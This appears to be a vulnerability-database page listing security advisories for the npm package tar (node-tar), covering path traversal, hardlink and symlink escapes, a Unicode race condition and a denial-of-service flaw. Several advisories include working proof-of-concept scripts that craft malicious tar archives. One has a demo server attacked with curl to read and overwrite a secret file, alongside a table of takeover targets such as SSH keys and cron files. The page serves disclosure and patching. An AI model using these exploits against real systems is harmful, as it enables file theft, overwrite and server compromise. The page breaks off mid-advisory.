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| purl | pkg:npm/tar@5.0.9 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-5wr3-7131-u3aa
Aliases: CVE-2026-23950 GHSA-r6q2-hw4h-h46w |
Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS **TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS **AUTHOR**: Tomás Illuminati ### Details A race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. ```typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() }) ``` In MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example: ``````bash bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss bash-3.2$ ls collision_test_ss bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss bash-3.2$ `````` --- ### PoC ``````javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream'); const exploitDir = path.resolve('race_exploit_dir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir); console.log('[*] Testing...'); console.log(`[*] Extraction target: ${exploitDir}`); // Construct stream const stream = new PassThrough(); const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000); // Key 1: "f_ss" const header1 = new tar.Header({ path: 'collision_ss', mode: 0o644, size: contentA.length, }); header1.encode(); // Key 2: "f_ß" const header2 = new tar.Header({ path: 'collision_ß', mode: 0o644, size: contentB.length, }); header2.encode(); // Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding // End stream.write(Buffer.alloc(1024)); stream.end(); // Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 }); stream.pipe(extract); extract.on('end', () => { console.log('[*] Extraction complete'); // Check what exists const files = fs.readdirSync(exploitDir); console.log('[*] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`); }); if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[*] GOOD'); } else { console.log('[-] No collision'); } }); `````` --- ### Impact This is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. --- ### Remediation Update `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`. Users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue. --- |
Affected by 4 other vulnerabilities. |
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VCID-7mtb-yaq7-77ep
Aliases: CVE-2021-37712 GHSA-qq89-hq3f-393p |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The npm package "tar" (aka node-tar) has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. |
Affected by 7 other vulnerabilities. Affected by 7 other vulnerabilities. |
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VCID-bj4b-gq5e-2kfy
Aliases: CVE-2026-29786 GHSA-qffp-2rhf-9h96 |
tar has Hardlink Path Traversal via Drive-Relative Linkpath ### Summary `tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots. What happens with `linkpath: "C:../target.txt"`: 1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false. 2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`. 3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file. This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `tar@7.5.9`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(process.cwd(), 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash cd test-workspace node poc.cjs && ls -l ../target.txt ``` Observed output: ```text PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt ``` `PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files |
Affected by 1 other vulnerability. |
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VCID-fqmy-jhdk-xfhw
Aliases: CVE-2024-28863 GHSA-f5x3-32g6-xq36 |
Denial of service while parsing a tar file due to lack of folders count validation ## Description: During some analysis today on npm's `node-tar` package I came across the folder creation process, Basicly if you provide node-tar with a path like this `./a/b/c/foo.txt` it would create every folder and sub-folder here a, b and c until it reaches the last folder to create `foo.txt`, In-this case I noticed that there's no validation at all on the amount of folders being created, that said we're actually able to CPU and memory consume the system running node-tar and even crash the nodejs client within few seconds of running it using a path with too many sub-folders inside ## Steps To Reproduce: You can reproduce this issue by downloading the tar file I provided in the resources and using node-tar to extract it, you should get the same behavior as the video ## Proof Of Concept: Here's a [video](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/3i7uojw8s52psar6pg8zkdo4h9io?response-content-disposition=attachment%3B%20filename%3D%22tar-dos-poc.webm%22%3B%20filename%2A%3DUTF-8%27%27tar-dos-poc.webm&response-content-type=video%2Fwebm&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQSWWGDXHA%2F20240312%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20240312T080103Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEDcaCXVzLXdlc3QtMiJHMEUCID3xYDc6emXVPOg8iVR5dVk0u3gguTPIDJ0OIE%2BKxj17AiEAi%2BGiay1gGMWhH%2F031fvMYnSsa8U7CnpZpxvFAYqNRwgqsQUIQBADGgwwMTM2MTkyNzQ4NDkiDAaj6OgUL3gg4hhLLCqOBUUrOgWSqaK%2FmxN6nKRvB4Who3LIyzswFKm9LV94GiSVFP3zXYA480voCmAHTg7eBL7%2BrYgV2RtXbhF4aCFMCN3qu7GeXkIdH7xwVMi9zXHkekviSKZ%2FsZtVVjn7RFqOCKhJl%2FCoiLQJuDuju%2FtfdTGZbEbGsPgKHoILYbRp81K51zeRL21okjsOehmypkZzq%2BoGrXIX0ynPOKujxw27uqdF4T%2BF9ynodq01vGgwgVBEjHojc4OKOfr1oW5b%2FtGVV59%2BOBVI1hqIKHRG0Ed4SWmp%2BLd1hazGuZPvp52szmegnOj5qr3ubppnKL242bX%2FuAnQKzKK0HpwolqXjsuEeFeM85lxhqHV%2B1BJqaqSHHDa0HUMLZistMRshRlntuchcFQCR6HBa2c8PSnhpVC31zMzvYMfKsI12h4HB6l%2FudrmNrvmH4LmNpi4dZFcio21DzKj%2FRjWmxjH7l8egDyG%2FIgPMY6Ls4IiN7aR1jijYTrBCgPUUHets3BFvqLzHtPFnG3B7%2FYRPnhCLu%2FgzvKN3F8l38KqeTNMHJaxkuhCvEjpFB2SJbi2QZqZZbLj3xASqXoogzbsyPp0Tzp0tH7EKDhPA7H6wwiZukXfFhhlYzP8on9fO2Ajz%2F%2BTDkDjbfWw4KNJ0cFeDsGrUspqQZb5TAKlUge7iOZEc2TZ5uagatSy9Mg08E4nImBSE5QUHDc7Daya1gyqrETMDZBBUHH2RFkGA9qMpEtNrtJ9G%2BPedz%2FpPY1hh9OCp9Pg1BrX97l3SfVzlAMRfNibhywq6qnE35rVnZi%2BEQ1UgBjs9jD%2FQrW49%2FaD0oUDojVeuFFryzRnQxDbKtYgonRcItTvLT5Y0xaK9P0u6H1197%2FMk3XxmjD9%2Fb%2BvBjqxAQWWkKiIxpC1oHEWK9Jt8UdJ39xszDBGpBqjB6Tvt5ePAXSyX8np%2FrBi%2BAPx06O0%2Ba7pU4NmH800EVXxxhgfj9nMw3CeoUIdxorVKtU2Mxw%2FLaAiPgxPS4rqkt65NF7eQYfegcSYDTm2Z%2BHPbz9HfCaVZ28Zqeko6sR%2F29ML4bguqVvHAM4mWPLNDXH33mjG%2BuzLi8e1BF7tNveg2X9G%2FRdcMkojwKYbu6xN3M6aX2alQg%3D%3D&X-Amz-SignedHeaders=host&X-Amz-Signature=1e8235d885f1d61529b7d6b23ea3a0780c300c91d86e925dd8310d5b661ddbe2) show-casing the exploit: ## Impact Denial of service by crashing the nodejs client when attempting to parse a tar archive, make it run out of heap memory and consuming server CPU and memory resources ## Report resources [payload.txt](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/1e83ayb5dd3350fvj3gst0mqixwk?response-content-disposition=attachment%3B%20filename%3D%22payload.txt%22%3B%20filename%2A%3DUTF-8%27%27payload.txt&response-content-type=text%2Fplain&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQSWWGDXHA%2F20240312%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20240312T080103Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEDcaCXVzLXdlc3QtMiJHMEUCID3xYDc6emXVPOg8iVR5dVk0u3gguTPIDJ0OIE%2BKxj17AiEAi%2BGiay1gGMWhH%2F031fvMYnSsa8U7CnpZpxvFAYqNRwgqsQUIQBADGgwwMTM2MTkyNzQ4NDkiDAaj6OgUL3gg4hhLLCqOBUUrOgWSqaK%2FmxN6nKRvB4Who3LIyzswFKm9LV94GiSVFP3zXYA480voCmAHTg7eBL7%2BrYgV2RtXbhF4aCFMCN3qu7GeXkIdH7xwVMi9zXHkekviSKZ%2FsZtVVjn7RFqOCKhJl%2FCoiLQJuDuju%2FtfdTGZbEbGsPgKHoILYbRp81K51zeRL21okjsOehmypkZzq%2BoGrXIX0ynPOKujxw27uqdF4T%2BF9ynodq01vGgwgVBEjHojc4OKOfr1oW5b%2FtGVV59%2BOBVI1hqIKHRG0Ed4SWmp%2BLd1hazGuZPvp52szmegnOj5qr3ubppnKL242bX%2FuAnQKzKK0HpwolqXjsuEeFeM85lxhqHV%2B1BJqaqSHHDa0HUMLZistMRshRlntuchcFQCR6HBa2c8PSnhpVC31zMzvYMfKsI12h4HB6l%2FudrmNrvmH4LmNpi4dZFcio21DzKj%2FRjWmxjH7l8egDyG%2FIgPMY6Ls4IiN7aR1jijYTrBCgPUUHets3BFvqLzHtPFnG3B7%2FYRPnhCLu%2FgzvKN3F8l38KqeTNMHJaxkuhCvEjpFB2SJbi2QZqZZbLj3xASqXoogzbsyPp0Tzp0tH7EKDhPA7H6wwiZukXfFhhlYzP8on9fO2Ajz%2F%2BTDkDjbfWw4KNJ0cFeDsGrUspqQZb5TAKlUge7iOZEc2TZ5uagatSy9Mg08E4nImBSE5QUHDc7Daya1gyqrETMDZBBUHH2RFkGA9qMpEtNrtJ9G%2BPedz%2FpPY1hh9OCp9Pg1BrX97l3SfVzlAMRfNibhywq6qnE35rVnZi%2BEQ1UgBjs9jD%2FQrW49%2FaD0oUDojVeuFFryzRnQxDbKtYgonRcItTvLT5Y0xaK9P0u6H1197%2FMk3XxmjD9%2Fb%2BvBjqxAQWWkKiIxpC1oHEWK9Jt8UdJ39xszDBGpBqjB6Tvt5ePAXSyX8np%2FrBi%2BAPx06O0%2Ba7pU4NmH800EVXxxhgfj9nMw3CeoUIdxorVKtU2Mxw%2FLaAiPgxPS4rqkt65NF7eQYfegcSYDTm2Z%2BHPbz9HfCaVZ28Zqeko6sR%2F29ML4bguqVvHAM4mWPLNDXH33mjG%2BuzLi8e1BF7tNveg2X9G%2FRdcMkojwKYbu6xN3M6aX2alQg%3D%3D&X-Amz-SignedHeaders=host&X-Amz-Signature=bad9fe731f05a63a950f99828125653a8c1254750fe0ca7be882e89ecdd449ae) [archeive.tar.gz](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/ymkuh4xnfdcf1soeyi7jc2x4yt2i?response-content-disposition=attachment%3B%20filename%3D%22archive.tar.gz%22%3B%20filename%2A%3DUTF-8%27%27archive.tar.gz&response-content-type=application%2Fx-tar&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQSWWGDXHA%2F20240312%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20240312T080103Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEDcaCXVzLXdlc3QtMiJHMEUCID3xYDc6emXVPOg8iVR5dVk0u3gguTPIDJ0OIE%2BKxj17AiEAi%2BGiay1gGMWhH%2F031fvMYnSsa8U7CnpZpxvFAYqNRwgqsQUIQBADGgwwMTM2MTkyNzQ4NDkiDAaj6OgUL3gg4hhLLCqOBUUrOgWSqaK%2FmxN6nKRvB4Who3LIyzswFKm9LV94GiSVFP3zXYA480voCmAHTg7eBL7%2BrYgV2RtXbhF4aCFMCN3qu7GeXkIdH7xwVMi9zXHkekviSKZ%2FsZtVVjn7RFqOCKhJl%2FCoiLQJuDuju%2FtfdTGZbEbGsPgKHoILYbRp81K51zeRL21okjsOehmypkZzq%2BoGrXIX0ynPOKujxw27uqdF4T%2BF9ynodq01vGgwgVBEjHojc4OKOfr1oW5b%2FtGVV59%2BOBVI1hqIKHRG0Ed4SWmp%2BLd1hazGuZPvp52szmegnOj5qr3ubppnKL242bX%2FuAnQKzKK0HpwolqXjsuEeFeM85lxhqHV%2B1BJqaqSHHDa0HUMLZistMRshRlntuchcFQCR6HBa2c8PSnhpVC31zMzvYMfKsI12h4HB6l%2FudrmNrvmH4LmNpi4dZFcio21DzKj%2FRjWmxjH7l8egDyG%2FIgPMY6Ls4IiN7aR1jijYTrBCgPUUHets3BFvqLzHtPFnG3B7%2FYRPnhCLu%2FgzvKN3F8l38KqeTNMHJaxkuhCvEjpFB2SJbi2QZqZZbLj3xASqXoogzbsyPp0Tzp0tH7EKDhPA7H6wwiZukXfFhhlYzP8on9fO2Ajz%2F%2BTDkDjbfWw4KNJ0cFeDsGrUspqQZb5TAKlUge7iOZEc2TZ5uagatSy9Mg08E4nImBSE5QUHDc7Daya1gyqrETMDZBBUHH2RFkGA9qMpEtNrtJ9G%2BPedz%2FpPY1hh9OCp9Pg1BrX97l3SfVzlAMRfNibhywq6qnE35rVnZi%2BEQ1UgBjs9jD%2FQrW49%2FaD0oUDojVeuFFryzRnQxDbKtYgonRcItTvLT5Y0xaK9P0u6H1197%2FMk3XxmjD9%2Fb%2BvBjqxAQWWkKiIxpC1oHEWK9Jt8UdJ39xszDBGpBqjB6Tvt5ePAXSyX8np%2FrBi%2BAPx06O0%2Ba7pU4NmH800EVXxxhgfj9nMw3CeoUIdxorVKtU2Mxw%2FLaAiPgxPS4rqkt65NF7eQYfegcSYDTm2Z%2BHPbz9HfCaVZ28Zqeko6sR%2F29ML4bguqVvHAM4mWPLNDXH33mjG%2BuzLi8e1BF7tNveg2X9G%2FRdcMkojwKYbu6xN3M6aX2alQg%3D%3D&X-Amz-SignedHeaders=host&X-Amz-Signature=5e2c0d4b4de40373ac0fe91908c2659141a6dd4ab850271cc26042a3885c82ea) ## Note This report was originally reported to GitHub bug bounty program, they asked me to report it to you a month ago |
Affected by 6 other vulnerabilities. |
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VCID-jj22-rfbv-bkg3
Aliases: CVE-2026-26960 GHSA-83g3-92jg-28cx |
Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction ### Summary `tar.extract()` in Node `tar` allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options. This enables **arbitrary file read and write** as the extracting user (no root, no chmod, no `preservePaths`). Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive. ### Details The bypass chain uses two symlinks plus one hardlink: 1. `a/b/c/up -> ../..` 2. `a/b/escape -> c/up/../..` 3. `exfil` (hardlink) -> `a/b/escape/<target-relative-to-parent-of-extract>` Why this works: - Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety. - See `STRIPABSOLUTEPATH` logic in: - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255` - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268` - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281` - Hardlink extraction resolves target as `path.resolve(cwd, entry.linkpath)` and then calls `fs.link(target, destination)`. - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566` - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567` - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703` - Parent directory safety checks (`mkdir` + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path. - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617` - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619` - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27` - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101` As a result, `exfil` is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via `exfil`. ### PoC [hardlink.js](https://github.com/user-attachments/files/25240082/hardlink.js) Environment used for validation: - Node: `v25.4.0` - tar: `7.5.7` - OS: macOS Darwin 25.2.0 - Extract options: defaults (`tar.extract({ file, cwd })`) Steps: 1. Prepare/locate a `tar` module. If `require('tar')` is not available locally, set `TAR_MODULE` to an absolute path to a tar package directory. 2. Run: ```bash TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js ``` 3. Expected vulnerable output (key lines): ```text same_inode=true read_ok=true write_ok=true result=VULNERABLE ``` Interpretation: - `same_inode=true`: extracted `exfil` and external secret are the same file object. - `read_ok=true`: reading `exfil` leaks external content. - `write_ok=true`: writing `exfil` modifies external file. ### Impact Vulnerability type: - Arbitrary file read/write via archive extraction path confusion and link resolution. Who is impacted: - Any application/service that extracts attacker-controlled tar archives with Node `tar` defaults. - Impact scope is the privileges of the extracting process user. Potential outcomes: - Read sensitive files reachable by the process user. - Overwrite writable files outside extraction root. - Escalate impact depending on deployment context (keys, configs, scripts, app data). |
Affected by 2 other vulnerabilities. |
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VCID-m4hj-dq8q-67f6
Aliases: CVE-2021-37713 GHSA-5955-9wpr-37jh |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The npm package "tar" (aka node-tar) has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. |
Affected by 7 other vulnerabilities. Affected by 7 other vulnerabilities. |
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VCID-qunt-xms1-a3cc
Aliases: CVE-2026-31802 GHSA-9ppj-qmqm-q256 |
node-tar Symlink Path Traversal via Drive-Relative Linkpath ### Summary `tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value. What happens with `linkpath: "C:../../../target.txt"`: 1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`. 4. Writing through the extracted symlink overwrites the outside file (`../target.txt`). This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `tar@7.5.10`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt ``` Observed output: ```text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt ``` `PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files |
Affected by 0 other vulnerabilities. |
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VCID-xqpk-t1d2-yqak
Aliases: CVE-2026-24842 GHSA-34x7-hfp2-rc4v |
node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal ### Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. ### Details The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently: **Security check in `[STRIPABSOLUTEPATH]`:** ```javascript const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { /* block */ } ``` **Hardlink creation in `[HARDLINK]`:** ```javascript const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest); ``` **Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`. - **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**. - **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`. The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape. ### PoC #### Setup Create a new directory with these files: ``` poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here) ``` **package.json** ```json { "dependencies": { "tar": "^7.5.0" } } ``` **secret.txt** (sensitive file outside uploads/) ``` DATABASE_PASSWORD=supersecret123 ``` **server.js** (vulnerable file upload server) ```javascript const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar'); const PORT = 3000; const UPLOAD_DIR = path.join(__dirname, 'uploads'); fs.mkdirSync(UPLOAD_DIR, { recursive: true }); http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(`http://localhost:${PORT}`)); ``` **create-malicious-tar.js** (attacker creates exploit TAR) ```javascript const fs = require('fs'); function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; } // Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar'); ``` #### Run ```bash # Setup npm install echo "DATABASE_PASSWORD=supersecret123" > secret.txt # Terminal 1: Start server node server.js # Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload # READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read # Returns: DATABASE_PASSWORD=supersecret123 # WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write # Confirm secret.txt was modified cat secret.txt ``` ### Impact An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables: **Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process. **Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory. ### Remote Code Execution / Server Takeover | Attack Vector | Target File | Result | |--------------|-------------|--------| | SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server | | Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution | | Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login | | Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests | | Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart | | User Creation | `/etc/passwd` (if running as root) | Add new privileged user | ## Data Exfiltration & Corruption 1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations 2. **Read sensitive files** by creating hardlinks that point outside extraction directory 3. **Corrupt databases** and application state 4. **Steal credentials** from config files, `.env`, secrets |
Affected by 3 other vulnerabilities. |
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VCID-yy79-dbn9-7bd5
Aliases: CVE-2026-23745 GHSA-8qq5-rm4j-mr97 |
node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization ### Summary The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets. ### Details The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods. **1. Hardlink Escape (Arbitrary File Overwrite)** The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path. The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place. **2. Symlink Poisoning** The 